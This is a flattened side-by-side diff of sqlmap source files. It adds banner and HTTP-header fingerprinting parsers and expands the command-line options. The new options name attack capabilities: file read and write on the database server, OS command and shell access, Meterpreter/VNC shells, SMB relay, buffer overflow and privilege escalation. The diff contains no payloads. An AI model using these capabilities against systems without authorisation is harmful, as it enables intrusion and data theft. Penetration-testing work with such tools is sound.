__sqlmapHostname = __sqlmapPath[1] __sqlmapHostname = __sqlmapPath[1]
@@ -290,13 +288,13 @@ def __updateSqlmap():
tempDir = tempfile.gettempdir() tempDir = tempfile.gettempdir()
zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion) zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion)
__createFile(zipFile, sqlmapBinaryString) __createFile(zipFile, sqlmapBinaryString)
__extractZipFile(tempDir, zipFile, sqlmapNewestVersion) __extractZipFile(tempDir, zipFile)
# For each file and directory in the temporary directory copy it # For each file and directory in the temporary directory copy it
# to the sqlmap root path and set right permission # to the sqlmap root path and set right permission
# TODO: remove files not needed anymore and all pyc within the # TODO: remove files not needed anymore and all pyc within the
# sqlmap root path in the end # sqlmap root path in the end
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)): for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
# Just for development release # Just for development release
if '.svn' in root: if '.svn' in root:
continue continue

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -31,24 +31,34 @@ from xml.sax.handler import ContentHandler
from lib.core.common import checkFile from lib.core.common import checkFile
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
class bannerHandler(ContentHandler): class MSSQLBannerHandler(ContentHandler):
""" """
This class defines methods to parse and extract information from This class defines methods to parse and extract information from the
the given DBMS banner based upon the data in XML file given Microsoft SQL Server banner based upon the data in XML file
""" """
def __init__(self, banner): def __init__(self, banner, info):
self.__banner = sanitizeStr(banner) self.__banner = sanitizeStr(banner)
self.release = None
self.version = None
self.servicePack = None
self.__inVersion = False self.__inVersion = False
self.__inServicePack = False self.__inServicePack = False
self.__release = None self.__release = None
self.__version = "" self.__version = ""
self.__servicePack = "" self.__servicePack = ""
self.__info = info
def __feedInfo(self, key, value):
value = sanitizeStr(value)
if value in ( None, "None" ):
return
self.__info[key] = value
def startElement(self, name, attrs): def startElement(self, name, attrs):
@@ -72,9 +82,9 @@ class bannerHandler(ContentHandler):
def endElement(self, name): def endElement(self, name):
if name == "signature": if name == "signature":
if re.search(" %s[\.\ ]+" % self.__version, self.__banner): if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
self.release = self.__release self.__feedInfo("dbmsRelease", self.__release)
self.version = self.__version self.__feedInfo("dbmsVersion", self.__version)
self.servicePack = self.__servicePack self.__feedInfo("dbmsServicePack", self.__servicePack)
self.__version = "" self.__version = ""
self.__servicePack = "" self.__servicePack = ""
@@ -89,16 +99,30 @@ class bannerHandler(ContentHandler):
self.__servicePack = self.__servicePack.replace(" ", "") self.__servicePack = self.__servicePack.replace(" ", "")
def bannerParser(banner):
def bannerParser(banner, xmlfile):
""" """
This function calls a class to extract information from the given This function calls a class to extract information from the given
DBMS banner based upon the data in XML file DBMS banner based upon the data in XML file
""" """
checkFile(xmlfile) if kb.dbms == "Microsoft SQL Server":
banner = sanitizeStr(banner) xmlfile = paths.MSSQL_XML
handler = bannerHandler(banner) elif kb.dbms == "MySQL":
parse(xmlfile, handler) xmlfile = paths.MYSQL_XML
elif kb.dbms == "Oracle":
xmlfile = paths.ORACLE_XML
elif kb.dbms == "PostgreSQL":
xmlfile = paths.PGSQL_XML
return handler.release, handler.version, handler.servicePack checkFile(xmlfile)
if kb.dbms == "Microsoft SQL Server":
handler = MSSQLBannerHandler(banner, kb.bannerFp)
parse(xmlfile, handler)
handler = FingerprintHandler(banner, kb.bannerFp)
parse(paths.GENERIC_XML, handler)
else:
handler = FingerprintHandler(banner, kb.bannerFp)
parse(xmlfile, handler)
parse(paths.GENERIC_XML, handler)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -24,6 +24,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import sys
from optparse import OptionError from optparse import OptionError
from optparse import OptionGroup from optparse import OptionGroup
from optparse import OptionParser from optparse import OptionParser
@@ -37,26 +39,36 @@ def cmdLineParser():
This function parses the command line parameters and arguments This function parses the command line parameters and arguments
""" """
usage = "sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}" usage = "%s [options]" % sys.argv[0]
parser = OptionParser(usage=usage, version=VERSION_STRING) parser = OptionParser(usage=usage, version=VERSION_STRING)
try: try:
parser.add_option("-v", dest="verbose", type="int", default=1,
help="Verbosity level: 0-5 (default 1)")
# Target options
target = OptionGroup(parser, "Target", "At least one of these "
"options has to be specified to set the source "
"to get target urls from.")
target.add_option("-u", "--url", dest="url", help="Target url")
target.add_option("-l", dest="list", help="Parse targets from Burp "
"or WebScarab logs")
target.add_option("-g", dest="googleDork",
help="Process Google dork results as target urls")
target.add_option("-c", dest="configFile",
help="Load options from a configuration INI file")
# Request options # Request options
request = OptionGroup(parser, "Request", "These options have to " request = OptionGroup(parser, "Request", "These options can be used "
"be specified to set the target url, HTTP " "to specify how to connect to the target url.")
"method, how to connect to the target url "
"or Google dorking results in general.")
request.add_option("-u", "--url", dest="url", help="Target url")
request.add_option("-g", dest="googleDork",
help="Process Google dork results as target urls")
request.add_option("-p", dest="testParameter",
help="Testable parameter(s)")
request.add_option("--method", dest="method", default="GET", request.add_option("--method", dest="method", default="GET",
help="HTTP method, GET or POST (default: GET)") help="HTTP method, GET or POST (default GET)")
request.add_option("--data", dest="data", request.add_option("--data", dest="data",
help="Data string to be sent through POST") help="Data string to be sent through POST")
@@ -74,44 +86,126 @@ def cmdLineParser():
help="Load a random HTTP User-Agent " help="Load a random HTTP User-Agent "
"header from file") "header from file")
request.add_option("--headers", dest="headers",
help="Extra HTTP headers newline separated")
request.add_option("--auth-type", dest="aType", request.add_option("--auth-type", dest="aType",
help="HTTP Authentication type, value: " help="HTTP Authentication type (value "
"Basic or Digest") "Basic or Digest)")
request.add_option("--auth-cred", dest="aCred", request.add_option("--auth-cred", dest="aCred",
help="HTTP Authentication credentials, value: " help="HTTP Authentication credentials (value "
"name:password") "name:password)")
request.add_option("--proxy", dest="proxy", request.add_option("--proxy", dest="proxy",
help="Use a HTTP proxy to connect to the target url") help="Use a HTTP proxy to connect to the target url")
request.add_option("--threads", dest="threads", type="int", request.add_option("--threads", dest="threads", type="int", default=1,
help="Maximum number of concurrent HTTP " help="Maximum number of concurrent HTTP "
"requests (default 1)") "requests (default 1)")
request.add_option("--delay", dest="delay", type="float",
help="Delay in seconds between each HTTP request")
request.add_option("--timeout", dest="timeout", type="float", default=30,
help="Seconds to wait before timeout connection "
"(default 30)")
request.add_option("--retries", dest="retries", type="int", default=3,
help="Retries when the connection timeouts "
"(default 3)")
# Injection options # Injection options
injection = OptionGroup(parser, "Injection") injection = OptionGroup(parser, "Injection", "These options can be "
"used to specify which parameters to test "
"for, provide custom injection payloads and "
"how to parse and compare HTTP responses "
"page content when using the blind SQL "
"injection technique.")
injection.add_option("-p", dest="testParameter",
help="Testable parameter(s)")
injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value")
injection.add_option("--os", dest="os",
help="Force back-end DBMS operating system "
"to this value")
injection.add_option("--prefix", dest="prefix",
help="Injection payload prefix string")
injection.add_option("--postfix", dest="postfix",
help="Injection payload postfix string")
injection.add_option("--string", dest="string", injection.add_option("--string", dest="string",
help="String to match in page when the " help="String to match in page when the "
"query is valid") "query is valid")
injection.add_option("--dbms", dest="dbms", injection.add_option("--regexp", dest="regexp",
help="Force back-end DBMS to this value") help="Regexp to match in page when the "
"query is valid")
injection.add_option("--excl-str", dest="eString",
help="String to be excluded before comparing "
"page contents")
injection.add_option("--excl-reg", dest="eRegexp",
help="Matches to be excluded before "
"comparing page contents")
# Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can "
"be used to test for specific SQL injection "
"technique or to use one of them to exploit "
"the affected parameter(s) rather than using "
"the default blind SQL injection technique.")
techniques.add_option("--stacked-test", dest="stackedTest",
action="store_true",
help="Test for stacked queries (multiple "
"statements) support")
techniques.add_option("--time-test", dest="timeTest",
action="store_true",
help="Test for time based blind SQL injection")
techniques.add_option("--time-sec", dest="timeSec",
type="int", default=5,
help="Seconds to delay the DBMS response "
"(default 5)")
techniques.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION query (inband) SQL injection")
techniques.add_option("--union-tech", dest="uTech",
help="Technique to test for UNION query SQL injection")
techniques.add_option("--union-use", dest="unionUse",
action="store_true",
help="Use the UNION query (inband) SQL injection "
"to retrieve the queries output. No "
"need to go blind")
# Fingerprint options # Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint") fingerprint = OptionGroup(parser, "Fingerprint")
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
action="store_true", action="store_true",
help="Perform an extensive database fingerprint") help="Perform an extensive DBMS version fingerprint")
# Enumeration options # Enumeration options
enumeration = OptionGroup(parser, "Enumeration", "These options can " enumeration = OptionGroup(parser, "Enumeration", "These options can "
"be used to enumerate the back-end database " "be used to enumerate the back-end database "
"management system information, structure " "management system information, structure "
"and data contained in the tables. Moreover " "and data contained in the tables. Moreover "
"you can run your own SQL SELECT queries.") "you can run your own SQL statements.")
enumeration.add_option("-b", "--banner", dest="getBanner", enumeration.add_option("-b", "--banner", dest="getBanner",
action="store_true", help="Retrieve DBMS banner") action="store_true", help="Retrieve DBMS banner")
@@ -124,30 +218,34 @@ def cmdLineParser():
action="store_true", action="store_true",
help="Retrieve DBMS current database") help="Retrieve DBMS current database")
enumeration.add_option("--is-dba", dest="isDba",
action="store_true",
help="Detect if the DBMS current user is DBA")
enumeration.add_option("--users", dest="getUsers", action="store_true", enumeration.add_option("--users", dest="getUsers", action="store_true",
help="Enumerate DBMS users") help="Enumerate DBMS users")
enumeration.add_option("--passwords", dest="getPasswordHashes", enumeration.add_option("--passwords", dest="getPasswordHashes",
action="store_true", action="store_true",
help="Enumerate DBMS users password hashes (opt: -U)") help="Enumerate DBMS users password hashes (opt -U)")
enumeration.add_option("--privileges", dest="getPrivileges", enumeration.add_option("--privileges", dest="getPrivileges",
action="store_true", action="store_true",
help="Enumerate DBMS users privileges (opt: -U)") help="Enumerate DBMS users privileges (opt -U)")
enumeration.add_option("--dbs", dest="getDbs", action="store_true", enumeration.add_option("--dbs", dest="getDbs", action="store_true",
help="Enumerate DBMS databases") help="Enumerate DBMS databases")
enumeration.add_option("--tables", dest="getTables", action="store_true", enumeration.add_option("--tables", dest="getTables", action="store_true",
help="Enumerate DBMS database tables (opt: -D)") help="Enumerate DBMS database tables (opt -D)")
enumeration.add_option("--columns", dest="getColumns", action="store_true", enumeration.add_option("--columns", dest="getColumns", action="store_true",
help="Enumerate DBMS database table columns " help="Enumerate DBMS database table columns "
"(req: -T, -D)") "(req -T opt -D)")
enumeration.add_option("--dump", dest="dumpTable", action="store_true", enumeration.add_option("--dump", dest="dumpTable", action="store_true",
help="Dump DBMS database table entries " help="Dump DBMS database table entries "
"(req: -T, -D opt: -C, --start, --stop)") "(req -T, opt -D, -C)")
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true", enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
help="Dump all DBMS databases tables entries") help="Dump all DBMS databases tables entries")
@@ -170,64 +268,79 @@ def cmdLineParser():
"enumerating tables") "enumerating tables")
enumeration.add_option("--start", dest="limitStart", type="int", enumeration.add_option("--start", dest="limitStart", type="int",
help="First table entry to dump") help="First query output entry to retrieve")
enumeration.add_option("--stop", dest="limitStop", type="int", enumeration.add_option("--stop", dest="limitStop", type="int",
help="Last table entry to dump") help="Last query output entry to retrieve")
enumeration.add_option("--sql-query", dest="query", enumeration.add_option("--sql-query", dest="query",
help="SQL SELECT query to be executed") help="SQL statement to be executed")
enumeration.add_option("--sql-shell", dest="sqlShell", enumeration.add_option("--sql-shell", dest="sqlShell",
action="store_true", action="store_true",
help="Prompt for an interactive SQL shell") help="Prompt for an interactive SQL shell")
# File system options # File system options
filesystem = OptionGroup(parser, "File system access", "These options " filesystem = OptionGroup(parser, "File system access", "These options "
"can be used to access the back-end database " "can be used to access the back-end database "
"management system file system taking " "management system underlying file system.")
"advantage of native DBMS functions or "
"specific DBMS design weaknesses.")
filesystem.add_option("--read-file", dest="rFile", filesystem.add_option("--read-file", dest="rFile",
help="Read a specific OS file content (only on MySQL)") help="Read a file from the back-end DBMS "
"file system")
filesystem.add_option("--write-file", dest="wFile", filesystem.add_option("--write-file", dest="wFile",
help="Write to a specific OS file (not yet available)") help="Write a local file on the back-end "
"DBMS file system")
filesystem.add_option("--dest-file", dest="dFile",
help="Back-end DBMS absolute filepath to "
"write to")
# Takeover options # Takeover options
takeover = OptionGroup(parser, "Operating system access", "This " takeover = OptionGroup(parser, "Operating system access", "This "
"option can be used to access the back-end " "option can be used to access the back-end "
"database management system operating " "database management system underlying "
"system taking advantage of specific DBMS " "operating system.")
"design weaknesses.")
takeover.add_option("--os-cmd", dest="osCmd",
help="Execute an operating system command")
takeover.add_option("--os-shell", dest="osShell", action="store_true", takeover.add_option("--os-shell", dest="osShell", action="store_true",
help="Prompt for an interactive OS shell " help="Prompt for an interactive operating "
"(only on PHP/MySQL environment with a " "system shell")
"writable directory within the web "
"server document root for the moment)") takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
help="Prompt for an out-of-band shell, "
"meterpreter or VNC")
takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
help="One click prompt for an OOB shell, "
"meterpreter or VNC")
takeover.add_option("--os-bof", dest="osBof", action="store_true",
help="Stored procedure buffer overflow "
"exploitation")
takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
help="User priv escalation by abusing Windows "
"access tokens")
takeover.add_option("--msf-path", dest="msfPath",
help="Local path where Metasploit Framework 3 "
"is installed")
takeover.add_option("--tmp-path", dest="tmpPath",
help="Remote absolute path of temporary files "
"directory")
# Miscellaneous options # Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous") miscellaneous = OptionGroup(parser, "Miscellaneous")
miscellaneous.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION SELECT (inband) SQL injection")
miscellaneous.add_option("--union-use", dest="unionUse",
action="store_true",
help="Use the UNION SELECT (inband) SQL injection "
"to retrieve the queries output. No "
"need to go blind")
miscellaneous.add_option("--eta", dest="eta", action="store_true", miscellaneous.add_option("--eta", dest="eta", action="store_true",
help="Retrieve each query output length and " help="Display for each output the "
"calculate the estimated time of arrival " "estimated time of arrival")
"in real time")
miscellaneous.add_option("-v", dest="verbose", type="int",
help="Verbosity level: 0-5 (default 0)")
miscellaneous.add_option("--update", dest="updateAll", action="store_true", miscellaneous.add_option("--update", dest="updateAll", action="store_true",
help="Update sqlmap to the latest stable version") help="Update sqlmap to the latest stable version")
@@ -236,17 +349,20 @@ def cmdLineParser():
help="Save and resume all data retrieved " help="Save and resume all data retrieved "
"on a session file") "on a session file")
miscellaneous.add_option("-c", dest="configFile",
help="Load options from a configuration INI file")
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true", miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
help="Save options on a configuration INI file") help="Save options on a configuration INI file")
miscellaneous.add_option("--batch", dest="batch", action="store_true", miscellaneous.add_option("--batch", dest="batch", action="store_true",
help="Never ask for user input, use the default behaviour") help="Never ask for user input, use the default behaviour")
miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
help="Clean up the DBMS by sqlmap specific "
"UDF and tables")
parser.add_option_group(target)
parser.add_option_group(request) parser.add_option_group(request)
parser.add_option_group(injection) parser.add_option_group(injection)
parser.add_option_group(techniques)
parser.add_option_group(fingerprint) parser.add_option_group(fingerprint)
parser.add_option_group(enumeration) parser.add_option_group(enumeration)
parser.add_option_group(filesystem) parser.add_option_group(filesystem)
@@ -255,8 +371,8 @@ def cmdLineParser():
(args, _) = parser.parse_args() (args, _) = parser.parse_args()
if not args.url and not args.googleDork and not args.configFile and not args.updateAll: if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll:
errMsg = "missing a mandatory parameter ('-u', '-g', '-c' or '--update'), " errMsg = "missing a mandatory parameter ('-u', '-l', '-g', '-c' or '--update'), "
errMsg += "-h for help" errMsg += "-h for help"
parser.error(errMsg) parser.error(errMsg)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -79,15 +79,18 @@ def configFileParser(configFile):
config = ConfigParser() config = ConfigParser()
config.read(configFile) config.read(configFile)
if not config.has_section("Request"): if not config.has_section("Target"):
raise NoSectionError, "Request in the configuration file is mandatory" raise NoSectionError, "Target in the configuration file is mandatory"
if not config.has_option("Request", "url") and not config.has_option("Request", "googleDork"): condition = not config.has_option("Target", "url")
condition &= not config.has_option("Target", "list")
condition &= not config.has_option("Target", "googleDork")
if condition:
errMsg = "missing a mandatory option in the configuration " errMsg = "missing a mandatory option in the configuration "
errMsg += "file (url or googleDork)" errMsg += "file (url, list or googleDork)"
raise sqlmapMissingMandatoryOptionException, errMsg raise sqlmapMissingMandatoryOptionException, errMsg
for family, optionData in optDict.items(): for family, optionData in optDict.items():
for option, data in optionData.items(): for option, data in optionData.items():
boolean = False boolean = False

94
lib/parse/handler.py Normal file
View File

@@ -0,0 +1,94 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from xml.sax.handler import ContentHandler
from lib.core.common import sanitizeStr
class FingerprintHandler(ContentHandler):
"""
This class defines methods to parse and extract information from
the given DBMS banner based upon the data in XML file
"""
def __init__(self, banner, info):
self.__banner = sanitizeStr(banner)
self.__regexp = None
self.__match = None
self.__dbmsVersion = None
self.__techVersion = None
self.__info = info
def __feedInfo(self, key, value):
value = sanitizeStr(value)
if value in ( None, "None" ):
return
if key in ( "dbmsVersion" ):
self.__info[key] = value
else:
if key not in self.__info.keys():
self.__info[key] = set()
for v in value.split("|"):
self.__info[key].add(v)
def startElement(self, name, attrs):
if name == "regexp":
self.__regexp = sanitizeStr(attrs.get("value"))
self.__match = re.search(self.__regexp, self.__banner, re.I | re.M)
if name == "info" and self.__match:
self.__feedInfo("type", attrs.get("type"))
self.__feedInfo("distrib", attrs.get("distrib"))
self.__feedInfo("release", attrs.get("release"))
self.__feedInfo("codename", attrs.get("codename"))
self.__dbmsVersion = sanitizeStr(attrs.get("dbms_version"))
self.__techVersion = sanitizeStr(attrs.get("tech_version"))
self.__sp = sanitizeStr(attrs.get("sp"))
if self.__dbmsVersion.isdigit():
self.__feedInfo("dbmsVersion", self.__match.group(int(self.__dbmsVersion)))
if self.__techVersion.isdigit():
self.__feedInfo("technology", "%s %s" % (attrs.get("technology"), self.__match.group(int(self.__techVersion))))
else:
self.__feedInfo("technology", attrs.get("technology"))
if self.__sp.isdigit():
self.__feedInfo("sp", "Service Pack %s" % self.__match.group(int(self.__sp)))
self.__regexp = None
self.__match = None
self.__dbmsVersion = None
self.__techVersion = None

68
lib/parse/headers.py Normal file
View File

@@ -0,0 +1,68 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from xml.sax import parse
from lib.core.common import checkFile
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
def headersParser(headers):
"""
This function calls a class that parses the input HTTP headers to
fingerprint the back-end database management system operating system
and the web application technology
"""
# It is enough to parse the headers on first four HTTP responses
if kb.headersCount > 3:
return
kb.headersCount += 1
topHeaders = {
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH,
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH,
"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH,
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH,
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH,
}
for header in headers:
if header in topHeaders.keys():
value = headers[header]
xmlfile = topHeaders[header]
checkFile(xmlfile)
handler = FingerprintHandler(value, kb.headersFp)
parse(xmlfile, handler)
parse(paths.GENERIC_XML, handler)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -31,6 +31,8 @@ from xml.sax.handler import ContentHandler
from lib.core.common import checkFile from lib.core.common import checkFile
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
from lib.core.data import kb
from lib.core.data import paths
class htmlHandler(ContentHandler): class htmlHandler(ContentHandler):
@@ -40,12 +42,12 @@ class htmlHandler(ContentHandler):
""" """
def __init__(self, page): def __init__(self, page):
self.__dbms = None self.__dbms = None
self.__page = page self.__page = page
self.__regexp = None self.__regexp = None
self.__match = None self.__match = None
self.dbms = None self.dbms = None
def startElement(self, name, attrs): def startElement(self, name, attrs):
@@ -61,15 +63,19 @@ class htmlHandler(ContentHandler):
self.__match = None self.__match = None
def htmlParser(page, xmlfile): def htmlParser(page):
""" """
This function calls a class that parses the input HTML page to This function calls a class that parses the input HTML page to
fingerprint the back-end database management system fingerprint the back-end database management system
""" """
xmlfile = paths.ERRORS_XML
checkFile(xmlfile) checkFile(xmlfile)
page = sanitizeStr(page) page = sanitizeStr(page)
handler = htmlHandler(page) handler = htmlHandler(page)
parse(xmlfile, handler) parse(xmlfile, handler)
if handler.dbms and handler.dbms not in kb.htmlFp:
kb.htmlFp.append(handler.dbms)
return handler.dbms return handler.dbms

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -95,10 +95,25 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.count = data self.__queries.count = data
elif name == "comment":
data = sanitizeStr(attrs.get("query"))
self.__queries.comment = data
elif name == "timedelay":
data = sanitizeStr(attrs.get("query"))
self.__queries.timedelay = data
data = sanitizeStr(attrs.get("query2"))
self.__queries.timedelay2 = data
elif name == "substring": elif name == "substring":
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.substring = data self.__queries.substring = data
elif name == "case":
data = sanitizeStr(attrs.get("query"))
self.__queries.case = data
elif name == "inference": elif name == "inference":
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.inference = data self.__queries.inference = data
@@ -115,6 +130,10 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.currentDb = data self.__queries.currentDb = data
elif name == "is_dba":
data = sanitizeStr(attrs.get("query"))
self.__queries.isDba = data
elif name == "inband": elif name == "inband":
self.__inband = sanitizeStr(attrs.get("query")) self.__inband = sanitizeStr(attrs.get("query"))
self.__inband2 = sanitizeStr(attrs.get("query2")) self.__inband2 = sanitizeStr(attrs.get("query2"))

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -24,11 +24,12 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import re import re
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import paths from lib.parse.headers import headersParser
from lib.parse.html import htmlParser from lib.parse.html import htmlParser
@@ -51,7 +52,7 @@ def forgeHeaders(cookie, ua):
return headers return headers
def parsePage(page): def parseResponse(page, headers):
""" """
@param page: the page to parse to feed the knowledge base htmlFp @param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return (back-end DBMS fingerprint based upon DBMS error messages return
@@ -63,19 +64,20 @@ def parsePage(page):
like for DBMS error messages (ERRORS_XML), see above. like for DBMS error messages (ERRORS_XML), see above.
""" """
if not page: if headers:
return headersParser(headers)
htmlParsed = htmlParser(page, paths.ERRORS_XML) if page:
htmlParser(page)
